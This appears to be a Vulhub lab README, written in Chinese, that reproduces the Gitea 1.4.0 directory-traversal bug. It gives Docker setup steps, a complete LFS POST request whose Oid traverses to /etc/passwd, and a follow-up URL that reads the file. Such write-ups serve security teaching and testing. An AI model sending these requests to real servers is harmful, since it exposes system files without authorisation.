Aaron
63285f61aa
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56 lines
1.9 KiB
Markdown
56 lines
1.9 KiB
Markdown
# Gitea 1.4.0 目录穿越导致命令执行漏洞
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Gitea是从gogs衍生出的一个开源项目，是一个类似于Github、Gitlab的多用户Git仓库管理平台。其1.4.0版本中有一处逻辑错误，导致未授权用户可以穿越目录，读写任意文件，最终导致执行任意命令。
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参考链接：
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- https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html
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- https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
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## 漏洞环境
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执行如下命令启动启动漏洞环境：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:3000`，将进入安装页面，填写管理员账号密码，并修改网站URL，其他的用默认配置安装即可。（不要修改端口号）
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安装完成后，创建一个公开的仓库，随便添加点文件进去（比如使用选定的文件和模板初始化仓库）：
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然后，需要执行一次`docker compose restart`重启gitea服务。（原因详见第二个参考链接）
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## 漏洞复现
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由于漏洞链整体利用比较复杂，我们只复现文件读取部分，剩余利用方法详见第二个参考链接。
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打开gitea，找到刚才创建的公开项目，如`vulhub/repo`，发送如下数据包，添加一个Git LFS对象：
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```
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POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: application/vnd.git-lfs+json
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 151
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{
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"Oid": "....../../../etc/passwd",
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"Size": 1000000,
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"User" : "a",
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"Password" : "a",
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"Repo" : "a",
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"Authorization" : "a"
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}
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```
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然后，访问`http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth`，即可看到`/etc/passwd`已被成功读取：
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